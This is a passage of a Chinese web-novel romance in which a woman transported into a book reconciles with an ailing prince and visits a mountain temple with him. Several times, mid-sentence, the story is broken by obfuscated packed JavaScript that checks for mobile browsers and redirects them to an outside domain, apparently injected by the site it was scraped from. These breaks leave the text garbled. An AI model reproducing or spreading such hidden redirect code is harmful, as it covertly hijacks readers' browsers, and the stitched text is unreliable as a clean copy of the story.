“殿下不解风情,但江某是个怜香惜玉的人,请三公子不要因今日之事责罚兰梦和曼珠她们。” 林胜泉愣了一下,应该是没想到她要说的是这个。 他看向穆衍,见他没想说什么,便笑了笑道’:“这是自然,江公子不必担忧。” …… 这下穆衍与江沁月是真的准备打道回府了。 不知为何,他们下车的地方只剩下了一辆马车和充当车夫的云霏, 江沁月便跟着穆衍一起上了车,彼此之间却依旧无言。 她终于忍不住开口问道:“殿下,其实你早就知道凌觉是妙语花了吧?” “是,他的一切我都知道,”穆衍十分坦诚,“我当时也和你说了,任何靠进王府的可疑之人,我都不会放过。” 原来是那个时候就知道了吗? “那殿下为何不告诉我?”江沁月脱口道。 其实她也没道理去责问穆衍,她当时没跟他说实话,自然也不能要求穆衍将事实主动告知她。 可是她不喜欢这种被戏弄的感觉。 “今日宴会上我既已知晓凌觉的身份,殿下还特意带我来千乐坊,是想告诉我什么?” “告诉我凌觉是个骗子?是个总流连于花天酒地之间的纨绔公子?” “还是告诉我你早就知道了这一切,我之前替他维护,今天瞒着你去见他,不过是个跳梁小丑?” “沁月,我不是有意瞒你,”穆衍道,“你们之间有诸多事务牵扯,我若失言影响了你们的合作关系,那可如何是好?” “耳听为虚,眼见为实,他与真正的林三公子究竟有什么牵扯,当面说请不是更明了?” 他语气和缓,也不因江沁月不敬的责问而愤怒,就像是多么为她着想似的。 上次太子大婚时,凌觉抱病未能到场,没能早些揭晓真相穆衍深感遗憾,如今终于能一吐为快。 想到这,他唇角勾起一丝愉快的弧度。 江沁月想驳斥他,又被噎得不知道说什么好。 “那林三公子林胜泉,你本也是知道的。”穆衍接着道。 “我认识?”江沁月的脸上写明了不信,她在这里能认识谁? “他就是你们之前故事中的小胜啊,不然你以为,凌觉怎么会知道那些事?” 小胜?江沁月反应了一下,总算是想起来了。 数年前被初到京城的穆衍所救,又背叛他害他被李岱等人关在柴房欺凌一天一夜的那个小孩。 难怪穆衍看上去不太待见林胜泉,说话也不留情面。 “真是难为殿下了,亲自带我来走一遭,就为了让我‘耳听为虚,眼见为实’。”江沁月嘲弄道。 穆衍没有接话。 其实谈不上难为,他与林胜泉这些年是有些来往的,更确切地说,是林胜泉单方面的讨好。 一开始林胜泉的家境并不好,后来不知怎的得了笔钱,开了一家赌坊,越做越大,直至今日便成了京城头号销金窟千乐坊。 家里发迹后,林胜泉便时常携礼登门拜访,穆衍一开始是不见他的,不料母妃偶然问起此事,他怕引起母妃怀疑从而揪出李岱那档子事让她忧心,便与林胜泉维持着表面往来。 “就不劳殿下费心了,人与人之间没有百分百的坦诚,我知道凌觉有苦衷,这种谎言无伤大雅。” “倒是殿下,既然早已知晓他的身份,那以后也请继续替他保密,我替凌觉多谢殿下了。”江沁月没好气道。 穆衍哂笑一声:“既然不必完全坦诚,那你又何必如此大动肝火?另外,江姑娘就没有事情瞒着我吗?” 江沁月相当理直气壮:“我有什么好瞒着你的?瞒得过你吗襄王殿下?” “今日引我去芳华殿,拉上那李家小姐一起去游船,江姑娘想必比我更清楚是为了什么。” 坏了,把这事给忘了。 但说起这江沁月就更来气了,不为了任务还能为了什么? “行啊,实话我全告诉你,就是为了你的婚事,”江沁月双手抱胸往车壁上一靠,“淑瑶让我先瞒着你,让你和李妍结亲也是陛下的意思,谁知道来的是李娴呢?” “那来都来了,就只能先让你们认识认识啊,我还能怎么办?” 穆衍沉默地盯着她,直把她看得发毛。 江沁月忍不住开始反思自己是不是说话太冲了,再怎么说穆衍也是封建王朝的高位者,那她自己在公司也不敢对领导这样小发雷霆…… 这时穆衍却别开了视线,轻声道: “你对淑瑶的提议言听计从,能理解凌觉的苦衷接受他的谎言,还替李娴争辩为她出头,甚至方才认识不到一刻钟的那两名女子,你也怕她们被责罚帮她们说话。” “你总是很在意他人,那你有在乎过我的想法吗?我之前与你谈过我无意成婚,不想耽误人姑娘家,可是你还是瞒着我,要撮合我与李家女。” 说到这,穆衍终于看向她,眸色晦暗不明,隐隐透出几分不甘。 “甚至在我问你之前,你都没想过要跟我解释一下,沁月,你把我当什么呢?” 他的问语很轻,仿佛一片羽毛,却重重地落在了江沁月的心上。 他问,她把他当什么? 江沁月嘴唇翕张了几下,最终却什么也没有说出来。 来到这里也已经挺长一段时间了,若真论起来,穆衍确实是她某种意义上的老板,大概也能算是朋友。 可是眼见任务或有转机,她就激动地昏了头脑,又把自己放在了作者的位置上,再也顾不得穆衍怎么想,一意按自己的主张行事。 她突然觉得这个任务很可笑。 穆衍是一个活生生的人,当她真正地来到他身边后,她又如何能左右他的人生呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308401|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接下来的路程上,二人之间再也没有说过一句话。 马车内也点着熏香,江沁月忽然莫名觉得有些透不过气来。 她掀开帘布,趴在窗沿呼吸新鲜空气,再不看穆衍一眼。 终于是回到了王府,江沁月迫不及待地跳下了马车。 穆衍也下车后,她还是忍不住问道:“殿下,我最后问你一个问题,事已至此,你对李娴是什么想法?” “若是我对她有意,你要去回了淑瑶,让陛下立马下旨赐婚吗?” 穆衍像是听到了什么笑话,说完便拂袖而去。 江沁月也被激起了脾气,冲回房间便拿起手机给漆桐发消息。 江沁月:“我不干了!快送我回家!” 漆桐:“?” 漆桐:“亲亲,你目前还没有达成回家的条件呢。” 江沁月:“达成不了,你老人家另请高明吧。” 漆桐:“怎么会呢?我正要联系你,据我观察,你的任务有重大突破哦~” 这下轮到江沁月缓缓打出了一个问号。 漆桐:“之前答应你想办法看看任务进度,虽然我没有研究出什么高科技手段数字化显示,但我观察到了穆衍的命星——虽然无法窥见长远未来,但是对最近的事物还是能有所预示。” 漆桐:“我观其红鸾星动,这意味着什么不用我多说了吧?若是你能帮他成就这段良缘,回家一事指日可待。” 漆桐:“不过这良人是谁,就要靠你自己去寻找了,据星象显示,此事也只是略有苗头。” 江沁月看着手机上的消息陷入了沉思。 联想到方才穆衍说的最后那句话,这良人莫非是李娴? 难道他对她有意,只是不好意思直说? 短短一天过得如此一波三折,江沁月真的已经精疲力尽,她彻底放弃了思考,一头倒在床上将脸埋进了被子里。 这一倒便直接睡了过去,不知过了多久,江沁月迷迷糊糊地被云霞叫醒。 “江姑娘,晚膳时间到了,可要收拾一下去殿下那边?” 江沁月坐在妆台前,看着镜中自己凌乱的头发和还没换掉被压得皱巴巴的男装,一点收拾的心情都没有。 想起今日种种,最后也是不欢而散,她有些不知该怎么面对穆衍。 “我今天太累了,也不饿,就不去用晚膳了吧?”江沁月决定先当一会儿缩头乌龟。 云霞也没再多问,只说去梧桐苑给穆衍传个话。 “好,麻烦你跑一趟了。”江沁月暗自松了一口气。 穆衍听到云霞的传话时,热腾腾的饭菜刚好端上桌。 “知道了,下去吧。” 云霞等了片刻,见穆衍没动筷子也没说话,一时拿不准主意是走是留。 云霏在穆衍身后比了个手势让她先走,她正要退下时,却又被穆衍叫住。 “等等,你拿食盒来,把桌上的饭菜装一些回去,午宴吃得不多,晚膳不吃不行。” 云霞离开后,穆衍也只应付了几口,就命人把菜撤走了。 他瞥了端药来的云霏一眼:“你也下去吧。” 穆衍端起那青瓷碗,其中黑褐色的汤药还冒着热气,他却似乎对碗底的滚烫毫无知觉。 他走到窗边,垂眸看见自己的倒影在晃荡的液体表面扭曲变形。 窗台下,之前被他祸害死的花树已经换上了新的,现下不是花期,只有葱翠的绿叶。 他将碗沿微微倾斜,看药汁一点点流入窗下的叶丛中。 苦涩的药味混着潮湿的泥土腥味翻涌上来,穆衍蹙眉掩鼻,将小香炉摆到了窗边的案前。 袅袅细烟飘摇而上,屋内只有一如既往的冷清。 28. 寻觅苦等终不见 自那日之后,江沁月与穆衍之间微妙地陷入了一种类似冷战的状态。 越是逃避,便越不想面对,好在偌大的王府里他们分别住在东西两侧,平日里不太可能碰上。 但是,云霞这姑娘不知是得了穆衍的授意,还是单纯一根筋地公事公办,每天雷打不动地来问她要不要去梧桐苑吃饭。 头疼脚疼肚子疼……能想到的借口江沁月都讲了个遍,再这样下去可不行。 好在她很快就想到了办法。 “云霞,我招揽了新人来书坊做事,最近估计得在那边忙一段时间,午饭和晚饭我就在书坊解决就好。” “你就不用跟我一起去了吧?反正也近,不会有什么事的。” 说谎的最佳形式就是真话假话参半说,有新人是真,有事忙也是真,但江沁月没打算一直在书坊里呆着。 云霞毕竟是穆衍的人,她自然要将其支开,免得她给穆衍打小报告。 “好,有事的话,江姑娘请随时叫我。”云霞不疑有他。 江沁月欣慰地点点头,心里的小算盘打得噼啪响。 先去书坊虚晃一枪,来一招金蝉脱壳,接着神不知鬼不觉地摸上顺路而来的凌觉的马车,搭他的便车一起前往邀月轩。 到邀月轩时正好能赶上午饭,待到吃了晚饭再回王府,一切都如此刚刚好。 天衣无缝的完美计划。 经过几天的实践,这一套流程江沁月已是烂熟于心。 “走吧走吧!”这日江沁月打点好书坊的一切后,又一次轻车熟路地跃上凌觉的马车,催促他赶紧动身。 凌觉看她一直透过窗缝观察外面是否有人,直到远离王府好一段距离才安心坐好,忍不住道: “沁月,你这天天跟做贼似的,搞得我也紧张得很。” “说真的,若是在王府呆不下去的话,就趁早搬出来吧,此处不留人,自有留人处嘛。” 江沁月瞪他一眼:“你说为何我在王府呆不下去?还不是都怪你!” 凌觉识趣地噤了声。 “懒得跟你废话,我留在王府是因为别的事,你别管了。”江沁月准备闭目养神一会儿,“总之这几日多谢你了,至于还得麻烦你多久,我也不知道。” 这厢江沁月在邀月轩蹭吃蹭喝好不快活,王府中穆衍却难得地去了清秋苑。 云霞彼时正在院子里扎秋千,浑然不觉有人来了。 “你扎秋千做什么?她在里面吗?” “殿下?”云霞连忙起身,拍了拍手上的灰,“江姑娘不在,她说有事要忙,这几日都在书坊那边。” “江姑娘还让我不必跟着,说想在院中扎个秋千好赏花看书。” 江沁月是为了拖住云霞,以免她发现自己的行踪,特意给她安排了这项“任务”,还千叮万嘱她别着急慢慢弄。 穆衍闻言微微蹙眉,转身自个儿朝书坊去了。 书坊中自然不会有江沁月的身影。 他走进江沁月之前给自己辟出的独立办公室,却见到了一道意想不到的身影。 “见过襄王殿下。”李娴也没想到穆衍会突然过来,连忙扔下手中正在看的书起身行礼。 “你怎么在这?沁月呢?”穆衍问道。 这当然也是江沁月的安排——招揽来的新人毫无疑问就是李娴了。 其间自是有她的诸多考量。 赏春宴后漆桐告诉她,穆衍“红鸾星动”,虽然他看上去对李娴无意,但如此巧合的时间,她不敢武断地判定李娴不是星象预示的良人。 正所谓近水楼台先得月,虽然穆衍不常来书坊,但让李娴来到这里,二人能有接触的机会也多一些。 当然,此事要徐徐图之,切不可操之过急。 另外江沁月也是真心为李娴考虑,她在家中的日子应是不太好过,能在外面躲个清净,也总比在府中一直被兄姐欺负好过。 李娴自然也明白这一点,所以收到江沁月询问的来信时便立马答应了。 “江姑娘方才有事出去了,殿下有什么事的话,臣女愿代为转达。”她十分镇定地为江沁月打掩护。 “不必了,没什么大事。”穆衍淡淡道。 方才出去?哄傻子罢了。 稍一转念穆衍便猜到了她会去哪里。 费尽心思躲着自己,对那位朋友的欺骗却可以不计前嫌。 “殿下?”李娴看着他略显阴沉的神色,担忧地唤了他一声。 穆衍回过神来,扯出一个浅淡的笑容:“你忙你的,对了,不必告诉她我来过。” …… 这些时日来江沁月与穆衍再未见过,倒也能算得上是相安无事。 摆烂一段时间也未尝不可,反正她时刻牵挂任务时也没见得有什么进展。 好不容易努力一把还弄巧成拙,搞得她都不太敢见穆衍。 穆衍来书坊的事,李娴原原本本地告诉了江沁月,但这样一来,江沁月心里更没底了。 罢了,就如他所愿,假装不知道他来找过自己吧。 又过了几日,穆衍再次来到清秋苑时,云霞刚好扎好了秋千。 秋千搭在了院中的紫藤花架下,云霞做得精细,在两边的吊绳上装点了许多鲜花,还在秋千的座椅上放上了软垫和薄毯。 “殿下找江姑娘么?她一般要用完晚膳才回来……” “无妨,我在这等她。”穆衍坐上秋千轻轻晃荡着,抬头便能看见繁盛的紫藤花如瀑布般倾泻而下。 夕阳余晖洒在他仰起的面庞上,为他镀上一层柔和的光晕。 估摸着江沁月用不了多久也就回来了,云霞便侍立在侧,陪穆衍一同等着。 这一等,便直等到最后一缕斜阳消失在天际。 她还是没有回来。 平日里这个时间江沁月早已回来,今日却仍不见她踪影,云霞此刻有如芒在背。 她忍不住道:“殿下,属下这便去书坊那边瞧一眼,可别是江姑娘出了什么事。” “她不会有事的。”穆衍依旧悠悠地荡着秋千,很有耐心地等待着归人。 庭院中还没来得及点灯,只一轮皓月当空,清冷的月光洒在他身上,映着他的脸色显出几分苍白。 眼前明明是再熟悉不过的殿下,云霞却恍惚地感受到了几分陌生。 “殿下,我先去厨房取些吃食来吧。”她出去时还叫来另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谢谢阿霞!刚好我今晚没有吃饱。”江沁月笑道,“这个秋千也很漂亮,你太厉害了。” 她其实也不太饿,只是不想辜负云霞的心意,便象征性地吃了几口。 云霞见她放下了筷子,还贴心地端来一碗醒酒汤。 多好一姑娘啊,人家对自己无微不至地关心照顾,自己却绕着弯儿地跟她玩心眼子。 江沁月一边小口啜饮着,一边在心中默默跟云霞道歉。 转眼间又是小半个月过去了,江沁月躺在床上辗转难眠。 枕头下的手机嗡嗡震动了几下,她摸出来一看,原来是漆桐难得主动发来了消息。 “你那边有什么情况吗?” 屏幕上只有这么没头没尾的一句话。 “无。”江沁月言简意赅。 “那你得多注意一下,据我观察,穆衍最近恐有性命之忧。” 江沁月大骇,猛地从床上坐了起来。 “这得我问你什么情况吧?不要用这么平淡的语气说出这么恐怖的话好吗?” 29. 不辞山远终释嫌 “我哪里知道具体情况?只是见星象有异提醒你一下,多留意他的情况,做好心理准备。” 江沁月悚然,准备什么?准备后事吗?她的漫漫回家路就要这样断掉了吗? 屏幕上又弹出了漆桐的新消息。 “其实从你初到此地救了他之后,他的命运便已然被改写,正因你不属于这里,才会为他带来新的转机,这次你也一定可以。” “不过你也别太紧张,穆衍他身体不好,命星本就暗淡一些,观星一事也受诸多因素影响。”最后她安慰道。 等等,身体不好?江沁月突然想起一件重要的事—— 最近她再没见过穆衍,他不会又在作死,没有好好吃药吧? 次日一早,江沁月便问了云霞。 “这我不太清楚,姑娘也知道的,殿下那边一直是云霏在随侍。” 云霞说着又叹了口气:“殿下若是铁了心不愿吃药,我们这些底下的人也不知道该怎么办,总不能绑着殿下强灌下去……” “也就是前些时间有江姑娘看着,殿下才安生喝了几日药。” 江沁月沉思片刻后,像是终于下定了某种决心:“阿霞,我们去清秋苑一趟。” “江姑娘,”云霞叫住了她,“殿下他……他现在不在王府。” 江沁月奇道:“这么早就出去了?那等他回来我们再过去吧。” “……殿下他昨日便走了,宫里传旨说陛下近来身子不太好,要皇室宗亲与朝中重臣前往永宁寺为陛下祈福,恐怕得小半个月后殿下才会回来了。” 江沁月一下子犯了难,在房间里焦急地踱来踱去。 漆桐的警示如同不定时炸弹一般牵扯着她的心弦,接下来的这段时间,难道就要听天由命吗? 云霞上前拉住了无头苍蝇一般乱撞的江沁月:“江姑娘莫急,殿下走之前特意留了话,说若是姑娘问起他,便转达给你。” “什么话?” “殿下说,永宁寺的斋饭很好吃,江姑娘若是有兴趣的话,可随时前往,他为江姑娘单独留了一间禅房。” 这话听着有些别扭,但似乎也算是给自己找了台阶下,再加之漆桐的话实在是令人担忧…… “好,我去。”江沁月斩钉截铁道,“我们什么时候走?” 下午时分,江沁月和云霞站在山门前,沉默地望着眼前蜿蜒而上望不到头的石阶。 “永宁寺不是皇家寺院吗?怎么不修条车道直通上去?”江沁月诚挚地提出了自己的疑问。 云霞解释道:“净云峰山势陡峭,修路劳民伤财,且高祖陛下说,步行上山更能体现朝拜的诚心。” 江沁月指了指脚下,又指了指山顶隐约能看见的金殿飞檐:“等我们爬上去,岂不是天都黑了?” “江姑娘不必担忧,永宁寺在北峰的山腰处,哪怕我们走得慢些,也能赶在晚膳前到达。” “那就好那就好……”听闻运动量减半,江沁月心情明快许多,“事不宜迟,我们赶紧走吧。” 刚开始的山路不算难行,人也精力充沛,她们边走边随意地聊着天。 “阿霞,既然永宁寺是在半山腰,那山顶上的金顶建筑是什么?”江沁月好奇道。 “那是净云观,里面供着的是穗泽娘娘。” “穗泽娘娘?”江沁月思索了一下,确信自己从未听说过这路神仙。 这下倒是云霞有些讶异:“江姑娘不知道吗?” 江沁月谨慎地答道:“确实未曾听闻……我家乡地处偏远,交通不便,我们那里只有个土地庙。” 云霞了然地点点头,接着就将这位穗泽娘娘的事迹与她详细说了一通。 原来这位穗泽娘娘本不是什么天神,而是高祖皇后程净云。 高祖在位时,有一年旱情严重,庄稼颗粒无收,饥荒严重,民心大乱。 皇后程净云亲自施粥赈灾,后又登上京郊最高的山峰,日日斋戒焚香,向上天祈求来年风调雨顺,五谷丰登。 许是她的诚心祈愿感动了上苍,第二年竟真的是个丰年, 但就在这个秋天,皇后薨逝,京城下了一场大雨,雨后漫天彩霞久久不散。 世人皆说,皇后仁心济世,爱民如子,所以已然得到飞升。 高祖皇帝悲恸不已,重新修葺了山顶的建筑,为皇后塑像供奉于此,尊号“穗泽”,并以她的名讳为这座山峰命名。 春种秋收,高祖至今二百余年间,供奉参拜之人络绎不绝。 千秋万代,大梁子民会一直被穗泽娘娘庇佑。 江沁月听完后感到一阵心虚,如此备受尊崇的神明她都不知道,这显得她太像个反动分子了。 没办法,她只是一个写书的,又不是写史书的,这里的历史她自然无从得知。 云霞接着介绍道:“大梁的每一任皇帝,每年八月都会上净云观祭拜穗泽娘娘,每三年还会率百官举行一次丰年祭,说起来今年正好会举行呢。” “我们这一路走来都没见着来参拜的人,是不是封山了?”江沁月问道。 云霞点点头道:“平日里永宁寺和净云观都是对百姓开放的,这几日要为陛下祈福,所以暂时封闭了。” “江姑娘若是有兴趣,这几日得空可以去净云观看看。” 江沁月是个缺乏锻炼的,走了没一会儿便累得闭了麦,再不想说话了。 云霞是个练家子,她看出江沁月体力不支,也陪她放慢了脚步。 “江姑娘若是实在累了,我可以背你上去。”云霞热心提议。 这时江沁月正坐在路边石头上休息,闻言连忙站了起来:“不用不用!我能行!” 云霞还是默默接过了江沁月的包袱,替她减轻了负重。 最终也如她之前所言,二人还是赶在晚膳前抵达了永宁寺。 江沁月累得两股战战,抱着云霞的胳膊才借力站稳了脚。 “江姑娘,殿下的禅房在最上面,我们还得接着往上走。”云霞道。 “啊——”江沁月哀嚎一声,被无情地拖着继续前行。 终于踏进了穆衍提前为她准备好的禅房,江沁月一屁股坐了下来,再也不想动弹一步。 “殿下就住在隔壁禅房,但现下似乎不在,我去看看情况,江姑娘先好好休息吧。” 云霞说完给她倒了杯茶,便出去了。 她与穆衍所在的禅房是在永宁寺最高处一间单独的院落中,十分清静幽远。 江沁月打量了一圈,房间里干净整洁,檀香阵阵,家具陈设不多,简单却不简朴,不愧是皇家寺院。 “沁月,你来了。”久违又熟悉的声音忽然响起。 江沁月抬眼一看,穆衍颀长的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334813|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影立于门边,一如既往的风姿绰约。 眼看她正要起身行礼,穆衍忙道:“坐着歇息吧,这一路上来你肯定累得不轻。” 穆衍在她对面坐下,这一离得近了,江沁月才观察到,他的脸色看上去比以前更苍白几分,人似乎也清减了些。 “殿下,你瘦了,脸色看上去也不太好。”她双眉微蹙,直直地看着穆衍。 穆衍僵了一瞬,别开脸道:“永宁寺的斋饭虽做得精致,但这般天天吃素,谁都得清瘦几分。” 他来这里不过两日,便吃素吃得人苍白消瘦,照他这样说的话,那吃斋念佛的和尚们都活不了了。 江沁月确定以及肯定,他在作死。 她斟酌着正准备说些什么,寺里的小和尚却在这时送来了晚膳。 “一起吃饭吧?云霞说你最近在书坊那边很忙,我们都很久没一起吃过饭了。”穆衍道。 自他进屋起,他的语气便是一贯的温和平淡。 仿佛他们之间什么也没发生过,仿佛冷战只是江沁月的一厢情愿。 “好,先吃饭吧。”江沁月长叹一口气,打算待会儿再对他的身体健康进行关怀问候。 永宁寺的斋饭确实做得不错,有好几道还是颇费功夫的“仿荤菜”,用豆腐、豆皮、面筋等素菜模拟荤菜的形态,甚至口感也极为相似,但细嚼起来还是比不得真正的大鱼大肉。 一顿饭竟吃得江沁月分外煎熬,到最后也就稀里糊涂吃了个六七分饱。 她咬了咬牙,鼓起勇气直截了当道: “殿下,我来这里不是为了吃斋饭。我是想要请求你,无论如何都请保重身体,不要作践自己。” “还有!”江沁月垂眸绞着自己的手指,继续说道: “殿下上次问我,把你当什么,我想答案应该是朋友,当时没有回答你,是因为我觉得自己愧对于这两个字。” 说到这,江沁月抬头望着穆衍的双眼。 “我自私地以为那样是对你好,却瞒着你没有考虑过你的感受,这不是朋友该有的作为……” “我怕你生气,不知道该怎么面对你,就一直在当缩头乌龟。对不起,殿下。” 他本想粉饰太平,那日的事就此翻篇,江沁月却又戳破了这层窗户纸。 朋友——这是他想得到的答案吗? 可是她有好多的朋友。 朋友怎么会是唯一的呢? 穆衍轻声道:“……沁月,我从来没想过要怪你,我来找过你,只是你不在。” 不在王府,不在书坊,瞒天过海和那个满口谎言的花花公子纠缠不清。 但她今日出现在这里,是不是说明,她更在意自己? 罢了,他要理解她的隐瞒,就像她原谅凌觉那样。 “既是朋友,彼此之间自然要相互体谅,也不是什么大事,过去了便别再想了。”穆衍温声道。 江沁月如释重负地笑了:“好!都不想了!那……殿下可以答应我的请求了吗?” 看他一脸迷茫,江沁月提示道:“保重身体,不要作践自己。” 恰好这时云霞端来了热好的汤药,江沁月接过试了试温度,又递到了穆衍跟前。 “好,我答应你。”穆衍笑了笑,接过来一饮而尽。 药汁苦涩得难以下咽,但此时此刻,他甘之如饴。 30. 净云神颜似我颜 在这里住了两日,江沁月觉得自己从内而外都得到了洗涤净化。 山寺清幽,他们所住的地方更是鲜有人至,每日只能与鸟鸣林涛声相伴。 永宁寺的环境真是没得挑,但这样的生活对江沁月而言,还是有些无聊了。 她来得匆忙,没带什么能消遣解闷的玩意儿——除了在这个世界几乎只能当发光板砖的手机。 与无所事事的江沁月相比,穆衍倒是有的忙。 每日晨昏之时,他都得前往大殿,与众人一起跪于佛前,为陛下诵经祈福。 江沁月有天早晨去观摩过一次,她与其他随从人员站在一边,起得太早导致她听着诵经声昏昏欲睡。 他们这一跪便是一个时辰,即便是在里面滥竽充数,那也是个辛苦活。 而这样的仪式黄昏时还得再进行一次。 不仅如此,空闲时他们还得抄写经书,待最后一日将众人抄好的经文一起烧掉,为陛下积攒福德。 江沁月闲得发慌,便自告奋勇要帮穆衍一起抄经书。 当然,这也是出于对他身体状况的考量。 天天劳心劳力的,可别诱得他发了病,自此香消玉殒。 江沁月要杜绝一切可能对他身体健康不利的危险因素。 因着二人的齐心协力,穆衍的抄经任务也是早早地就完成了。 于是乎,无聊的一个人变成了无聊的两个人。 倒是云霞心细地还记得,上山时与江沁月聊过穗泽娘娘的事。 “江姑娘家乡偏远,不知穗泽娘娘事迹,属下之前还说,这几日得空的话可以去净云观看看。” 穆衍看向江沁月:“我都险些忘了,净云观可是京城名景,沁月,你可有兴趣上去看看?” 再三确认穆衍身体无碍后,江沁月便与他一起来到了净云峰顶。 净云峰是京城周围最高的一座山峰,登顶远眺,能俯瞰整个京城,风光甚好。 而净云观虽以观为名,却只供奉了穗泽娘娘,其自建成以来几经修葺,历久弥新。 尤其是筑于高台之上的主殿,建造时采用的是建筑的最高规格,琉璃金顶上立有一只振翅欲飞的金凤,殿前长长的汉白玉阶仿佛直通天际。 江沁月在山下便窥见了金殿一隅,如今切切实实站在这宏伟华丽的大殿之前,却是更为震撼。 这在她的世界里毋庸置疑能成为5A级景点。 拾阶而上,终于迈入了大殿之内,只见两边墙上是无数信徒供奉的长明灯,而大殿中央,则是高约丈余的穗泽娘娘塑像。 江沁月从小到大也去过不少名寺古刹旅游,但仰望着这尊神像时,还是感到叹为观止。 穗泽娘娘静静伫立于祥云之上,手持一簇纯金的稻穗,整座神像不知是如何打造的,雕工精湛细腻,层叠繁复的衣饰花纹清晰可见,翩飞的广袖灵动飘逸,全不似雕刻而成。 大殿内千万盏长明灯映照着神像的面容,只见她双唇含笑栩栩传神,微微颔首,仿佛悲悯地注视着芸芸众生。 不同于一般神佛的丰满福相,穗泽娘娘是个清秀的瓜子脸,看上去反而更添几分人性。 只是不知为何,神像的双眼上蒙系着一条略显突兀的丝带。 “为何要遮住穗泽娘娘的眼睛?”江沁月好奇问道。 穆衍道:“据说高祖皇帝当年命人为皇后塑像,先开始铸成的几尊塑像都无法让他满意,工匠们耗费十余年终于雕成这尊栩栩如生的塑像,容貌神态与已故的皇后别无二致。” 九族严选,自然是非同凡响。 “高祖看见这尊塑像时,刹那间潸然泪下,他说神像的双眼太过传神,以至于他不愿直视,不然总会恍惚觉得皇后又重新活了过来。” 十年生死两茫茫,故去多年的妻子容颜未改,自己却年华已逝,谁看见这幅场景内心都会深受触动。 “高祖皇帝在塑像前默然良久,最后下令将其供奉在修葺好的净云观中,但是蒙住了神像的双眼。” 听到这里,江沁月只觉得这皇帝也真是难伺候。 不像不行,太像了也不行——万恶的甲方。 她看着神像上流光溢彩的宝石金器,不免产生一个疑问: “穗泽娘娘做皇后时,心系百姓爱民如子,可是她仙去后,高祖为她修观立像劳民伤财,殿下,你说这是穗泽娘娘希望看到的吗?” 帝后情深固然可歌可泣,但已然历经过社会毒打的江沁月很难不代入一下苦逼打工人。 “对穗泽娘娘的供奉也是民心所向,只要大梁国泰民安,她也定能心安。”穆衍道。 神像前的供案上满是百姓带来的供品,无言地印证着穆衍的话。 江沁月若有所思道:“穗泽娘娘是真正意义上的母仪天下,所以被奉为神明,为千秋万代所敬仰;高祖皇帝虽为明君,却没有真的做到爱民如子,所以也只能是皇帝,功过是非自有后人评说……” 等等,她好像是在当着穆衍的面说人祖宗坏话呢? 她正绞尽脑汁想说些什么弥补挽救一下,却听殿门口传来一道熟悉的声音: “江姑娘好犀利的评价。” 回头一看,是穆灼和颜桃。 完了,这下是当着两人的面说人祖宗坏话了。 江沁月立马滑跪:“太子殿下恕罪,是我见识粗浅,既不知穗泽娘娘功绩,也没见过这等华丽的宫观,才失言冒犯了高祖皇帝……” 穆灼笑着摆摆手道:“起来吧,你说得不无道理,这里也不是宗庙,高祖皇帝听不到。” 江沁月起身后立马站到了穆衍身后去。 她自然清楚穆灼的为人,问题是清楚也没用。 他看起来是三好青年正直太子,可在原书中早就练就一颗七窍玲珑心,笑里藏刀地送走了不少人。 比如说,此次来到永宁寺的皇室宗亲,只有公主和年幼得手无缚鸡之力的皇子,还有病怏怏的襄王殿下。 因为其中潜在的继承人竞争对手,基本上都不在京城——甚至不在人世了。 穆灼唯一的真心都给了颜桃。 理性告诉江沁月,穆灼确实不至于为了这么一句小小大不敬的话刀了她,但她还是怕怕的。 “你们怎么来了?”穆衍出声问道,看起来对他二人的到来颇感意外。 “父皇的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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净云观的女修们也纷纷附和着颜桃的说辞。 每分每秒都很煎熬,江沁月无心听在场众人究竟还说了些什么客套话。 终于熬到回了永宁寺,她第一时间给漆桐发去了消息询问,还把自己想到的可能性都罗列了一遍。 她死死盯着手机,仿佛抓住救命稻草一般等待着漆桐的回复。 “……沁月,你好像想得有点太多了。” “在同一个世界里,也有可能出现两个毫无血缘却长相极为相似的人,怎么到了这里你还慌了神?” “而和神像长得一模一样,这不是天大的外挂嘛?你应该高兴才对~” 全大梁也就今日大殿中的众人见到了神像真容,知道了她与穗泽娘娘长得极像,这算什么外挂? 而且长得像有什么用?装神仙下凡去大肆敛财?还是借口君权神授就地起义? 江沁月虽无语,却也总算是放下心来, 生活嘛,平平淡淡才是真啦。 31. 祈福仪毕命攸关 “沁月,要一起用晚膳吗?或者待会儿叫人给你送来?”门外传来笃笃叩门声。 “来了!”江沁月把手机收好,打开门便对上穆衍暗含关切的眼神。 “我没事,走吧,我们先去吃饭。”她笑了笑,示意自己无事。 